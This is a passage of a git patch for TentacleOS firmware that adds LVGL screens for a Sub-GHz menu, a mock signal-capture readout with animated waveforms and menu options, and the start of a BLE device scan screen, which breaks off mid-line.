- BAR_MIN_H); + + lv_anim_t a; + lv_anim_init(&a); + lv_anim_set_var(&a, bar); + lv_anim_set_exec_cb(&a, bar_height_cb); + lv_anim_set_values(&a, BAR_MIN_H, peak); + lv_anim_set_duration(&a, 420 + (i % 4) * 90); + lv_anim_set_playback_duration(&a, 420 + (i % 3) * 80); + lv_anim_set_delay(&a, i * 55); + lv_anim_set_repeat_count(&a, LV_ANIM_REPEAT_INFINITE); + lv_anim_set_path_cb(&a, lv_anim_path_ease_in_out); + lv_anim_start(&a); + } + + fade_in(s_freq_lbl, FADE_MS); + s_freq_timer = lv_timer_create(freq_cycle_cb, FREQ_CYCLE_MS, NULL); +} + +#define SAVED_NAME_COLOR 0x00E676 + +static void build_saved_list(void) { + s_menu = menu_component_create(s_screen, "SAVED", "/assets/icons/saved_icon.bin"); + for (int i = 0; i < SAVED_COUNT; i++) { + menu_component_add_item(&s_menu, NULL, SAVED_SIGS[i]); + menu_component_set_item_label_color(&s_menu, i, lv_color_hex(SAVED_NAME_COLOR)); + } + if (s_saved_sel > 0 && s_saved_sel < SAVED_COUNT) + menu_component_select(&s_menu, s_saved_sel); + + lv_obj_t *freq = lv_label_create(s_menu.title_bar); + lv_label_set_text(freq, "433.92"); + lv_obj_set_style_text_color(freq, current_theme.border_accent, 0); + lv_obj_set_style_text_font(freq, &lv_font_montserrat_12, 0); + lv_obj_align(freq, LV_ALIGN_RIGHT_MID, -10, 0); + + fade_in(s_menu.items_cont, FADE_MS); + fade_in(s_menu.title_bar, FADE_MS); +} + +static void card_rise_cb(void *var, int32_t v) { + lv_obj_set_style_translate_y((lv_obj_t *)var, v, 0); +} + +static void build_saved_info(void) { + ui_chrome_header(s_screen, "SAVED", "/assets/icons/saved_icon.bin"); + + lv_obj_t *card = lv_obj_create(s_screen); + lv_obj_remove_flag(card, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_size(card, CARD_W, CARD_H); + lv_obj_align(card, LV_ALIGN_CENTER, 0, -10); + lv_obj_set_style_radius(card, 12, 0); + lv_obj_set_style_bg_opa(card, LV_OPA_COVER, 0); + lv_obj_set_style_bg_color(card, current_theme.bg_primary, 0); + lv_obj_set_style_bg_grad_color(card, current_theme.bg_secondary, 0); + lv_obj_set_style_bg_grad_dir(card, LV_GRAD_DIR_VER, 0); + lv_obj_set_style_border_width(card, 2, 0); + lv_obj_set_style_border_color(card, current_theme.border_accent, 0); + lv_obj_set_style_pad_all(card, 6, 0); + + lv_obj_t *name = lv_label_create(card); + lv_label_set_text(name, SAVED_SIGS[s_saved_sel]); + lv_obj_set_style_text_color(name, current_theme.text_main, 0); + lv_obj_set_style_text_font(name, &lv_font_montserrat_14, 0); + lv_obj_align(name, LV_ALIGN_TOP_LEFT, 0, 0); + + lv_obj_t *proto = lv_label_create(card); + lv_label_set_text(proto, "Princeton 0x1A2B3C"); + lv_obj_set_style_text_color(proto, current_theme.border_accent, 0); + lv_obj_set_style_text_font(proto, &lv_font_montserrat_12, 0); + lv_obj_align(proto, LV_ALIGN_TOP_LEFT, 0, 20); + + sigwave_create_static(card, LV_ALIGN_BOTTOM_MID, 0, -2); + + ui_chrome_footer(s_screen, "BACK to return"); + + lv_anim_t a; + lv_anim_init(&a); + lv_anim_set_var(&a, card); + lv_anim_set_exec_cb(&a, card_rise_cb); + lv_anim_set_values(&a, CARD_RISE_PX, 0); + lv_anim_set_duration(&a, CARD_RISE_MS); + lv_anim_set_path_cb(&a, lv_anim_path_ease_out); + lv_anim_start(&a); +} + +static void build_screen(void) { + stop_freq_timer(); + if (s_screen != NULL) { + lv_obj_del(s_screen); + s_screen = NULL; + } + s_freq_lbl = NULL; + + s_screen = lv_obj_create(NULL); + lv_obj_set_style_bg_color(s_screen, current_theme.screen_base, 0); + lv_obj_set_style_bg_opa(s_screen, LV_OPA_COVER, 0); + lv_obj_remove_flag(s_screen, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_style_border_width(s_screen, 0, 0); + lv_obj_set_style_pad_all(s_screen, 0, 0); + + switch (s_view) { + case VIEW_ANALYZER: + build_analyzer(); + break; + case VIEW_SAVED: + build_saved_list(); + break; + case VIEW_SAVED_INFO: + build_saved_info(); + break; + case VIEW_LIST: + default: + s_menu = menu_component_create(s_screen, "SUB-GHZ", "/assets/icons/radar_icon.bin"); + for (int i = 0; i < ITEM_COUNT; i++) + menu_component_add_item(&s_menu, ITEMS[i].icon, ITEMS[i].name); + fade_in(s_menu.items_cont, FADE_MS); + fade_in(s_menu.title_bar, FADE_MS); + break; + } + + if (s_nav_timer == NULL) + s_nav_timer = lv_timer_create(nav_timer_cb, NAV_TIMER_MS, NULL); + + ui_screen_load(s_screen); +} + +static void nav_timer_cb(lv_timer_t *t) { + if (lv_screen_active() != s_screen) { + lv_timer_delete(t); + s_nav_timer = NULL; + return; + } + if (ui_input_is_locked()) + return; + if (msgbox_is_open()) + return; + + bool up = ui_btn_up(); + bool down = ui_btn_down(); + bool ok = ok_button_is_down(); + bool back = back_button_is_down(); + + switch (s_view) { + case VIEW_LIST: + if (down && !s_down_last) + menu_component_next(&s_menu); + if (up && !s_up_last) + menu_component_prev(&s_menu); + if (ok && !s_ok_last) { + int sel = menu_component_get_selected(&s_menu); + if (sel == IDX_ANALYZER) { + s_view = VIEW_ANALYZER; + build_screen(); + goto latch; + } else if (sel == IDX_SAVED) { + s_saved_sel = 0; + s_view = VIEW_SAVED; + build_screen(); + goto latch; + } else if (sel >= 0 && sel < ITEM_COUNT && ITEMS[sel].capture) { + ui_switch_screen(SCREEN_SUBGHZ_READ); + } + } + if (back && !s_back_last) + ui_switch_screen(SCREEN_MENU); + break; + + case VIEW_ANALYZER: + if (back && !s_back_last) { + s_view = VIEW_LIST; + build_screen(); + goto latch; + } + break; + + case VIEW_SAVED: + if (down && !s_down_last) + menu_component_next(&s_menu); + if (up && !s_up_last) + menu_component_prev(&s_menu); + if (ok && !s_ok_last) { + s_saved_sel = menu_component_get_selected(&s_menu); + ESP_LOGI(TAG, "mock saved open: %s", SAVED_SIGS[s_saved_sel]); + s_view = VIEW_SAVED_INFO; + build_screen(); + goto latch; + } + if (back && !s_back_last) { + s_view = VIEW_LIST; + build_screen(); + goto latch; + } + break; + + case VIEW_SAVED_INFO: + if (back && !s_back_last) { + s_view = VIEW_SAVED; + build_screen(); + goto latch; + } + break; + } + + s_up_last = up; + s_down_last = down; + s_ok_last = ok; + s_back_last = back; + return; + +latch: + + s_up_last = up; + s_down_last = down; + s_ok_last = ok; + s_back_last = back; +} + +void ui_subghz_menu_open(void) { + s_view = VIEW_LIST; + s_saved_sel = 0; + build_screen(); +} diff --git a/firmware_p4/components/Applications/ui/screens/subghz/subghz_read_ui.c b/firmware_p4/components/Applications/ui/screens/subghz/subghz_read_ui.c new file mode 100644 index 000000000..7d40a46b5 --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/subghz/subghz_read_ui.c @@ -0,0 +1,579 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "subghz_menu_ui.h" + +#include + +#include "esp_log.h" +#include "lvgl.h" + +#include "buttons_gpio.h" +#include "capture_result_ui.h" +#include "msgbox_ui.h" +#include "notify_ui.h" +#include "ui_chrome.h" +#include "ui_feedback.h" +#include "ui_manager.h" +#include "ui_theme.h" + +static const char *TAG = "SUBGHZ_RD"; + +#define NAV_TIMER_MS 33 +#define REVEAL_MS 3000 +#define SCAN_MS 2600 +#define FREQ_CYCLE_MS 420 +#define SCOPE_TICK_MS 38 +#define DOT_CYCLE_MS 350 + +#define SIG_GREEN 0x00E676 + +#define HEADER_TITLE_Y 10 +#define HEADER_RULE_Y 32 +#define HEADER_RULE_W 70 +#define HEADER_RULE_H 2 + +#define STATUS_Y 48 +#define FREQ_Y 68 + +#define SCOPE_W 208 +#define SCOPE_H 84 +#define SCOPE_Y_OFS -22 +#define SCOPE_PAD 6 +#define SCOPE_RADIUS 8 +#define SCOPE_BORDER 2 +#define SCOPE_BG 0x0A0614 + +#define WAVE_POINTS 49 +#define WAVE_W (SCOPE_W - SCOPE_PAD * 2 - SCOPE_BORDER * 2) +#define WAVE_H (SCOPE_H - SCOPE_PAD * 2 - SCOPE_BORDER * 2) +#define WAVE_CY (WAVE_H / 2) +#define WAVE_LINE_W 2 + +#define AMP_SCAN (WAVE_H / 2 - 4) +#define AMP_VAR (WAVE_H / 6) +#define AMP_LOCK (WAVE_H / 3) +#define ANGLE_STEP_BASE 15 +#define ANGLE_VAR 9 +#define ANGLE_STEP_LOCK 15 +#define PHASE_STEP_SCAN 34 +#define MOD_STEP 6 +#define NOISE_SPREAD 7 + +#define OOK_SYNC_T 2 +#define OOK_HI_WIDE 3 +#define OOK_HI_NARROW 1 +#define OOK_MAX_PTS 64 + +#define GRID_OPA LV_OPA_20 + +#define READOUT_W 192 +#define READOUT_Y 198 +#define READOUT_ROW_GAP 5 +#define READOUT_FADE_MS 240 +#define READOUT_STAGGER 70 + +#define HINT_Y_OFS -6 + +#define STATUS_SCAN "Scanning" +#define HINT_SCAN "BACK to cancel" +#define HINT_SHOW "BACK = Exit" +#define HINT_MENU "UP/DOWN choose OK do BACK exit" + +#define SIG_PROTO "Princeton" +#define SIG_LOCK_FREQ "433.92 MHz" + +static const char *SCAN_FREQS[] = { + "433.92 MHz", + "868.30 MHz", + "315.00 MHz", + "915.00 MHz", +}; +#define SCAN_FREQ_COUNT ((int)(sizeof(SCAN_FREQS) / sizeof(SCAN_FREQS[0]))) + +static const struct { + const char *label; + const char *value; +} SIG_ROWS[] = { + {"Protocol", SIG_PROTO}, + {"Modulation", "OOK"}, + {"Bitrate", "4.8 kb/s"}, + {"Key", "0x1A2B3C"}, +}; +#define SIG_ROW_COUNT ((int)(sizeof(SIG_ROWS) / sizeof(SIG_ROWS[0]))) + +static const uint8_t OOK_BITS[] = {0, 0, 0, 1, 1, 0}; +#define OOK_BIT_COUNT ((int)(sizeof(OOK_BITS) / sizeof(OOK_BITS[0]))) + +static lv_obj_t *s_screen = NULL; +static lv_timer_t *s_nav_timer = NULL; +static lv_timer_t *s_scan_timer = NULL; +static lv_timer_t *s_freq_timer = NULL; +static lv_timer_t *s_scope_timer = NULL; + +static lv_obj_t *s_status = NULL; +static lv_obj_t *s_freq = NULL; +static lv_obj_t *s_wave = NULL; +static lv_obj_t *s_scope = NULL; +static lv_obj_t *s_readout = NULL; +static lv_obj_t *s_hint = NULL; +static capture_result_t s_cr = {0}; +static uint32_t s_locked_at = 0; +static bool s_options = false; + +static lv_point_precise_t s_wave_pts[WAVE_POINTS]; +static lv_point_precise_t s_ook_pts[OOK_MAX_PTS]; +static int s_phase = 0; +static int s_mod = 0; +static int s_freq_idx = 0; +static uint32_t s_scan_start = 0; +static bool s_locked = false; +static bool s_saved = false; + +static bool s_right_last = false; +static bool s_ok_last = false; +static bool s_back_last = false; +static bool s_up_last = false; +static bool s_down_last = false; + +static void nav_timer_cb(lv_timer_t *t); +static void scan_done_cb(lv_timer_t *t); +static void freq_cycle_cb(lv_timer_t *t); +static void scope_tick_cb(lv_timer_t *t); + +static void stop_timer(lv_timer_t **t) { + if (*t != NULL) { + lv_timer_delete(*t); + *t = NULL; + } +} + +static void opa_cb(void *var, int32_t v) { + lv_obj_set_style_opa((lv_obj_t *)var, (lv_opa_t)v, 0); +} + +static void fade_in(lv_obj_t *obj, uint32_t duration_ms, uint32_t delay_ms) { + lv_obj_set_style_opa(obj, LV_OPA_TRANSP, 0); + lv_anim_t a; + lv_anim_init(&a); + lv_anim_set_var(&a, obj); + lv_anim_set_exec_cb(&a, opa_cb); + lv_anim_set_values(&a, LV_OPA_TRANSP, LV_OPA_COVER); + lv_anim_set_duration(&a, duration_ms); + lv_anim_set_delay(&a, delay_ms); + lv_anim_set_path_cb(&a, lv_anim_path_ease_out); + lv_anim_start(&a); +} + +static void build_header(const char *text) { + lv_obj_t *title = lv_label_create(s_screen); + lv_label_set_text(title, text); + lv_obj_set_style_text_color(title, current_theme.border_accent, 0); + lv_obj_set_style_text_font(title, &lv_font_montserrat_14, 0); + lv_obj_align(title, LV_ALIGN_TOP_MID, 0, HEADER_TITLE_Y); + + lv_obj_t *rule = lv_obj_create(s_screen); + lv_obj_remove_flag(rule, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_remove_flag(rule, LV_OBJ_FLAG_CLICKABLE); + lv_obj_set_size(rule, lv_pct(HEADER_RULE_W), HEADER_RULE_H); + lv_obj_align(rule, LV_ALIGN_TOP_MID, 0, HEADER_RULE_Y); + lv_obj_set_style_border_width(rule, 0, 0); + lv_obj_set_style_radius(rule, 1, 0); + lv_obj_set_style_bg_color(rule, current_theme.border_accent, 0); + lv_obj_set_style_bg_opa(rule, LV_OPA_40, 0); +} + +static lv_obj_t *make_hint(const char *text) { + lv_obj_t *hint = lv_label_create(s_screen); + lv_label_set_text(hint, text); + lv_obj_set_style_text_color(hint, current_theme.text_main, 0); + lv_obj_set_style_text_opa(hint, LV_OPA_60, 0); + lv_obj_set_style_text_font(hint, &lv_font_montserrat_12, 0); + lv_obj_align(hint, LV_ALIGN_BOTTOM_MID, 0, HINT_Y_OFS); + return hint; +} + +static int clamp_y(int y) { + if (y < 0) + return 0; + if (y > WAVE_H) + return WAVE_H; + return y; +} + +static void fill_wave(bool noisy) { + int step = ANGLE_STEP_LOCK; + int amp = AMP_LOCK; + if (noisy) { + step = ANGLE_STEP_BASE + (ANGLE_VAR * lv_trigo_sin((int16_t)(s_mod % 360))) / 32767; + amp = AMP_SCAN - (AMP_VAR * lv_trigo_sin((int16_t)((s_mod * 2) % 360))) / 32767; + } + for (int i = 0; i < WAVE_POINTS; i++) { + int ang = (s_phase + i * step) % 360; + if (ang < 0) + ang += 360; + int s = lv_trigo_sin((int16_t)ang); + int y = WAVE_CY - (amp * s) / 32767; + if (noisy) + y += ((i * 13 + s_phase) % NOISE_SPREAD) - NOISE_SPREAD / 2; + s_wave_pts[i].x = i * WAVE_W / (WAVE_POINTS - 1); + s_wave_pts[i].y = clamp_y(y); + } + if (s_wave != NULL) + lv_line_set_points(s_wave, s_wave_pts, WAVE_POINTS); +} + +static void fill_ook(void) { + if (s_wave == NULL) + return; + int total_t = OOK_SYNC_T + OOK_BIT_COUNT * (OOK_HI_WIDE + OOK_HI_NARROW); + int unit = WAVE_W / total_t; + if (unit < 1) + unit = 1; + int hi = WAVE_CY - AMP_LOCK; + int lo = WAVE_CY + AMP_LOCK; + int n = 0; + int x = 0; + s_ook_pts[n].x = x; + s_ook_pts[n].y = lo; + n++; + x += OOK_SYNC_T * unit; + s_ook_pts[n].x = x; + s_ook_pts[n].y = lo; + n++; + for (int b = 0; b < OOK_BIT_COUNT && n + 4 <= OOK_MAX_PTS; b++) { + int hw = (OOK_BITS[b] ? OOK_HI_WIDE : OOK_HI_NARROW) * unit; + int lw = (OOK_BITS[b] ? OOK_HI_NARROW : OOK_HI_WIDE) * unit; + s_ook_pts[n].x = x; + s_ook_pts[n].y = hi; + n++; + x += hw; + s_ook_pts[n].x = x; + s_ook_pts[n].y = hi; + n++; + s_ook_pts[n].x = x; + s_ook_pts[n].y = lo; + n++; + x += lw; + s_ook_pts[n].x = x; + s_ook_pts[n].y = lo; + n++; + } + lv_line_set_points(s_wave, s_ook_pts, n); +} + +static void build_scope(void) { + lv_obj_t *frame = lv_obj_create(s_screen); + s_scope = frame; + lv_obj_remove_flag(frame, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_size(frame, SCOPE_W, SCOPE_H); + lv_obj_align(frame, LV_ALIGN_CENTER, 0, SCOPE_Y_OFS); + lv_obj_set_style_radius(frame, SCOPE_RADIUS, 0); + lv_obj_set_style_pad_all(frame, SCOPE_PAD, 0); + lv_obj_set_style_bg_color(frame, lv_color_hex(SCOPE_BG), 0); + lv_obj_set_style_bg_opa(frame, LV_OPA_COVER, 0); + lv_obj_set_style_border_width(frame, SCOPE_BORDER, 0); + lv_obj_set_style_border_color(frame, current_theme.border_accent, 0); + lv_obj_set_style_border_opa(frame, LV_OPA_70, 0); + + lv_obj_t *grid = lv_obj_create(frame); + lv_obj_remove_flag(grid, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_size(grid, WAVE_W, 1); + lv_obj_align(grid, LV_ALIGN_CENTER, 0, 0); + lv_obj_set_style_border_width(grid, 0, 0); + lv_obj_set_style_radius(grid, 0, 0); + lv_obj_set_style_bg_color(grid, current_theme.border_accent, 0); + lv_obj_set_style_bg_opa(grid, GRID_OPA, 0); + + s_wave = lv_line_create(frame); + lv_obj_align(s_wave, LV_ALIGN_TOP_LEFT, 0, 0); + lv_obj_set_style_line_width(s_wave, WAVE_LINE_W, 0); + lv_obj_set_style_line_color(s_wave, current_theme.border_accent, 0); + lv_obj_set_style_line_rounded(s_wave, true, 0); + + s_phase = 0; + s_mod = 0; + fill_wave(true); +} + +void ui_subghz_read_open(void) { + stop_timer(&s_scan_timer); + stop_timer(&s_freq_timer); + stop_timer(&s_scope_timer); + if (s_screen != NULL) { + lv_obj_del(s_screen); + s_screen = NULL; + } + s_status = NULL; + s_freq = NULL; + s_wave = NULL; + s_scope = NULL; + s_readout = NULL; + s_hint = NULL; + s_cr = (capture_result_t){0}; + s_options = false; + s_locked_at = 0; + s_freq_idx = 0; + s_locked = false; + s_saved = false; + s_back_last = false; + s_ok_last = false; + s_right_last = false; + s_up_last = false; + s_down_last = false; + + s_screen = lv_obj_create(NULL); + lv_obj_set_style_bg_color(s_screen, current_theme.screen_base, 0); + lv_obj_set_style_bg_opa(s_screen, LV_OPA_COVER, 0); + lv_obj_remove_flag(s_screen, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_style_border_width(s_screen, 0, 0); + lv_obj_set_style_pad_all(s_screen, 0, 0); + + ui_chrome_header(s_screen, "READ", "/assets/icons/radar_icon.bin"); + + s_status = lv_label_create(s_screen); + lv_label_set_text(s_status, STATUS_SCAN); + lv_obj_set_style_text_color(s_status, current_theme.text_main, 0); + lv_obj_set_style_text_font(s_status, &lv_font_montserrat_14, 0); + lv_obj_align(s_status, LV_ALIGN_TOP_MID, 0, STATUS_Y); + + s_freq = lv_label_create(s_screen); + lv_label_set_text(s_freq, SCAN_FREQS[0]); + lv_obj_set_style_text_color(s_freq, current_theme.border_accent, 0); + lv_obj_set_style_text_font(s_freq, &lv_font_montserrat_12, 0); + lv_obj_align(s_freq, LV_ALIGN_TOP_MID, 0, FREQ_Y); + + build_scope(); + + s_hint = ui_chrome_footer(s_screen, HINT_SCAN); + + s_scan_start = lv_tick_get(); + s_scan_timer = lv_timer_create(scan_done_cb, SCAN_MS, NULL); + lv_timer_set_repeat_count(s_scan_timer, 1); + s_freq_timer = lv_timer_create(freq_cycle_cb, FREQ_CYCLE_MS, NULL); + s_scope_timer = lv_timer_create(scope_tick_cb, SCOPE_TICK_MS, NULL); + + if (s_nav_timer == NULL) + s_nav_timer = lv_timer_create(nav_timer_cb, NAV_TIMER_MS, NULL); + + ui_screen_load(s_screen); +} + +static void scope_tick_cb(lv_timer_t *t) { + if (lv_screen_active() != s_screen) { + lv_timer_delete(t); + s_scope_timer = NULL; + return; + } + s_phase = (s_phase + PHASE_STEP_SCAN) % 360; + s_mod = (s_mod + MOD_STEP) % 360; + fill_wave(true); +} + +static void freq_cycle_cb(lv_timer_t *t) { + if (lv_screen_active() != s_screen) { + lv_timer_delete(t); + s_freq_timer = NULL; + return; + } + s_freq_idx = (s_freq_idx + 1) % SCAN_FREQ_COUNT; + if (s_freq) + lv_label_set_text(s_freq, SCAN_FREQS[s_freq_idx]); +} + +static void build_signal_readout(void) { + lv_obj_t *col = lv_obj_create(s_screen); + s_readout = col; + lv_obj_remove_flag(col, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_width(col, READOUT_W); + lv_obj_set_height(col, LV_SIZE_CONTENT); + lv_obj_align(col, LV_ALIGN_TOP_MID, 0, READOUT_Y); + lv_obj_set_style_bg_opa(col, LV_OPA_TRANSP, 0); + lv_obj_set_style_border_width(col, 0, 0); + lv_obj_set_style_pad_all(col, 0, 0); + lv_obj_set_flex_flow(col, LV_FLEX_FLOW_COLUMN); + lv_obj_set_style_pad_row(col, READOUT_ROW_GAP, 0); + + for (int i = 0; i < SIG_ROW_COUNT; i++) { + lv_obj_t *row = lv_obj_create(col); + lv_obj_remove_flag(row, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_width(row, lv_pct(100)); + lv_obj_set_height(row, LV_SIZE_CONTENT); + lv_obj_set_style_bg_opa(row, LV_OPA_TRANSP, 0); + lv_obj_set_style_border_width(row, 0, 0); + lv_obj_set_style_pad_all(row, 0, 0); + lv_obj_set_flex_flow(row, LV_FLEX_FLOW_ROW); + lv_obj_set_flex_align( + row, LV_FLEX_ALIGN_SPACE_BETWEEN, LV_FLEX_ALIGN_CENTER, LV_FLEX_ALIGN_CENTER); + + lv_obj_t *label = lv_label_create(row); + lv_label_set_text(label, SIG_ROWS[i].label); + lv_obj_set_style_text_color(label, current_theme.border_inactive, 0); + lv_obj_set_style_text_font(label, &lv_font_montserrat_12, 0); + + lv_obj_t *value = lv_label_create(row); + lv_label_set_text(value, SIG_ROWS[i].value); + lv_obj_set_style_text_color(value, current_theme.border_accent, 0); + lv_obj_set_style_text_font(value, &lv_font_montserrat_12, 0); + + fade_in(row, READOUT_FADE_MS, i * READOUT_STAGGER); + } +} + +static void scan_done_cb(lv_timer_t *t) { + (void)t; + s_scan_timer = NULL; + stop_timer(&s_freq_timer); + stop_timer(&s_scope_timer); + if (lv_screen_active() != s_screen) + return; + + s_locked = true; + if (s_wave != NULL) + lv_obj_set_style_line_rounded(s_wave, false, 0); + fill_ook(); + + if (s_status) { + lv_label_set_text(s_status, "Signal locked!"); + lv_obj_set_style_text_color(s_status, lv_color_hex(SIG_GREEN), 0); + } + if (s_freq) + lv_label_set_text(s_freq, SIG_LOCK_FREQ); + + build_signal_readout(); + + if (s_hint != NULL) + ui_chrome_footer_set_text(s_hint, HINT_SHOW); + s_locked_at = lv_tick_get(); + + ESP_LOGI(TAG, "mock subghz capture: %s %s", SIG_PROTO, SIG_LOCK_FREQ); + ui_feedback(UI_FB_READ); +} + +static void show_options(void) { + if (s_scope) { + lv_obj_del(s_scope); + s_scope = NULL; + s_wave = NULL; + } + if (s_readout) { + lv_obj_del(s_readout); + s_readout = NULL; + } + if (s_status) + lv_obj_add_flag(s_status, LV_OBJ_FLAG_HIDDEN); + if (s_freq) + lv_obj_add_flag(s_freq, LV_OBJ_FLAG_HIDDEN); + + capture_result_cfg_t cfg = { + .accent = current_theme.border_accent, + .card_icon = "/assets/icons/radar_icon.bin", + .card_title = "Signal captured", + .card_sub = SIG_PROTO " (OOK)", + .card_value = SIG_LOCK_FREQ, + .primary_label = "Send", + .again_label = "Capture again", + }; + s_cr = capture_result_create(s_screen, &cfg); + s_options = true; + if (s_hint) + ui_chrome_footer_set_text(s_hint, HINT_MENU); +} + +static void nav_timer_cb(lv_timer_t *t) { + if (lv_screen_active() != s_screen) { + lv_timer_delete(t); + s_nav_timer = NULL; + return; + } + bool right = ui_btn_right(); + bool ok = ok_button_is_down(); + bool back = back_button_is_down(); + bool up = ui_btn_up(); + bool down = ui_btn_down(); + + if (msgbox_is_open() || ui_input_is_locked()) { + s_right_last = right; + s_ok_last = ok; + s_back_last = back; + s_up_last = up; + s_down_last = down; + return; + } + + if (!s_locked && s_status != NULL) { + int dots = ((lv_tick_get() - s_scan_start) / DOT_CYCLE_MS) % 4; + char buf[20]; + snprintf(buf, + sizeof(buf), + "%s%s", + STATUS_SCAN, + dots == 1 ? "." + : dots == 2 ? ".." + : dots == 3 ? "..." + : ""); + lv_label_set_text(s_status, buf); + } + + if (back && !s_back_last) { + ui_switch_screen(SCREEN_SUBGHZ_MENU); + return; + } + + if (s_locked && !s_options) { + if (lv_tick_get() - s_locked_at >= REVEAL_MS) + show_options(); + } else if (s_options) { + if (down && !s_down_last) { + capture_result_next(&s_cr); + ui_feedback(UI_FB_NAV); + } + if (up && !s_up_last) { + capture_result_prev(&s_cr); + ui_feedback(UI_FB_NAV); + } + if (ok && !s_ok_last) { + switch (capture_result_selected(&s_cr)) { + case CAP_ACT_PRIMARY: + ui_feedback(UI_FB_EMULATE); + notify(NOTIFY_INFO, SIG_LOCK_FREQ " sent"); + break; + case CAP_ACT_SAVE: + if (!s_saved) { + s_saved = true; + capture_result_mark_saved(&s_cr); + ESP_LOGI(TAG, "mock subghz saved: %s", SIG_PROTO); + ui_feedback(UI_FB_WRITE); + notify(NOTIFY_SAVED, "Sub-GHz signal saved"); + } + break; + case CAP_ACT_AGAIN: + ui_subghz_read_open(); + return; + case CAP_ACT_DISCARD: + ui_switch_screen(SCREEN_SUBGHZ_MENU); + return; + default: + break; + } + } + } + + s_right_last = right; + s_ok_last = ok; + s_back_last = back; + s_up_last = up; + s_down_last = down; +} From 7b28c58ad8b9a41fcfac34b2c91c084d286cf4b3 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Mon, 20 Jul 2026 16:22:04 -0300 Subject: [PATCH 130/572] feat(ui): add device scan screen --- .../ui/screens/bluetooth/ble_scan_ui.c | 230 ++++++++++++++++++ .../screens/bluetooth/include/ble_scan_ui.h | 30 +++ 2 files changed, 260 insertions(+) create mode 100644 firmware_p4/components/Applications/ui/screens/bluetooth/ble_scan_ui.c create mode 100644 firmware_p4/components/Applications/ui/screens/bluetooth/include/ble_scan_ui.h diff --git a/firmware_p4/components/Applications/ui/screens/bluetooth/ble_scan_ui.c b/firmware_p4/components/Applications/ui/screens/bluetooth/ble_scan_ui.c new file mode 100644 index 000000000..c41d78a10 --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/bluetooth/ble_scan_ui.c @@ -0,0 +1,230 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "ble_scan_ui.h" + +#include +#include + +#include "esp_log.h" +#include "freertos/FreeRTOS.h" +#include "freertos/task.h" + +#include "bridge.h" +#include "buttons_gpio.h" +#include "menu_component_ui.h" +#include "ui_manager.h" +#include "ui_theme.h" +#include "ui_feedback.h" + +static const char *TAG = "BLE_SCAN_UI"; + +#define NAV_TIMER_MS 50 +#define SCAN_RESULT_COLOR_HEX 0x00E676 +#define BLE_MAX_DEVS 12 +#define SCAN_SETTLE_MS 150 +#define SCAN_POLL_TRIES 20 +#define SCAN_POLL_DELAY_MS 400 +#define BLE_DEV_ICON "/assets/icons/radar_icon.bin" +#define BLE_DEV_LABEL_LEN 32 +#define BLE_SCAN_TASK_STACK 4096 +#define BLE_SCAN_TASK_PRIO 4 + +typedef enum { SCAN_RUNNING, SCAN_DONE, SCAN_FAIL } scan_state_t; + +static lv_obj_t *s_screen = NULL; +static menu_component_t s_menu; +static lv_timer_t *s_nav_timer = NULL; + +static scan_state_t s_scan_state = SCAN_RUNNING; +static bool s_scanning = false; +static int s_dev_count = 0; +static char s_dev_labels[BLE_MAX_DEVS][BLE_DEV_LABEL_LEN]; + +static bool s_btn_up_last = false; +static bool s_btn_down_last = false; +static bool s_btn_left_last = false; +static bool s_btn_right_last = false; +static bool s_btn_ok_last = false; +static bool s_btn_back_last = false; + +static void nav_timer_cb(lv_timer_t *t); + +static void build_screen(void) { + if (s_screen != NULL) { + lv_obj_del(s_screen); + s_screen = NULL; + } + + s_screen = lv_obj_create(NULL); + lv_obj_set_style_bg_color(s_screen, current_theme.screen_base, 0); + lv_obj_set_style_bg_opa(s_screen, LV_OPA_COVER, 0); + lv_obj_remove_flag(s_screen, LV_OBJ_FLAG_SCROLLABLE); + + s_menu = menu_component_create(s_screen, "BLE Devices", BLE_DEV_ICON); + + if (s_scan_state == SCAN_RUNNING) { + menu_component_add_item(&s_menu, BLE_DEV_ICON, "Scanning..."); + } else if (s_scan_state == SCAN_FAIL) { + menu_component_add_item(&s_menu, BLE_DEV_ICON, "Scan failed (C5?)"); + } else if (s_dev_count == 0) { + menu_component_add_item(&s_menu, BLE_DEV_ICON, "No devices found"); + } else { + for (int i = 0; i < s_dev_count; i++) { + menu_component_add_item(&s_menu, BLE_DEV_ICON, s_dev_labels[i]); + menu_component_set_item_label_color(&s_menu, i, lv_color_hex(SCAN_RESULT_COLOR_HEX)); + } + } + + if (s_nav_timer == NULL) + s_nav_timer = lv_timer_create(nav_timer_cb, NAV_TIMER_MS, NULL); + + ui_screen_load(s_screen); +} + +static void scan_done_cb(void *unused) { + (void)unused; + if (ui_current_screen() != SCREEN_BLE_SCAN) + return; + build_screen(); + if (s_scan_state == SCAN_DONE && s_dev_count > 0) + ui_feedback(UI_FB_READ); + ESP_LOGI(TAG, "scan finished: state=%d, %d device(s)", (int)s_scan_state, s_dev_count); +} + +static void ble_scan_task(void *arg) { + (void)arg; + scan_state_t result = SCAN_FAIL; + int count = 0; + + if (bridge_master_init() == ESP_OK) { + bridge_frame_t req = {.cmd = 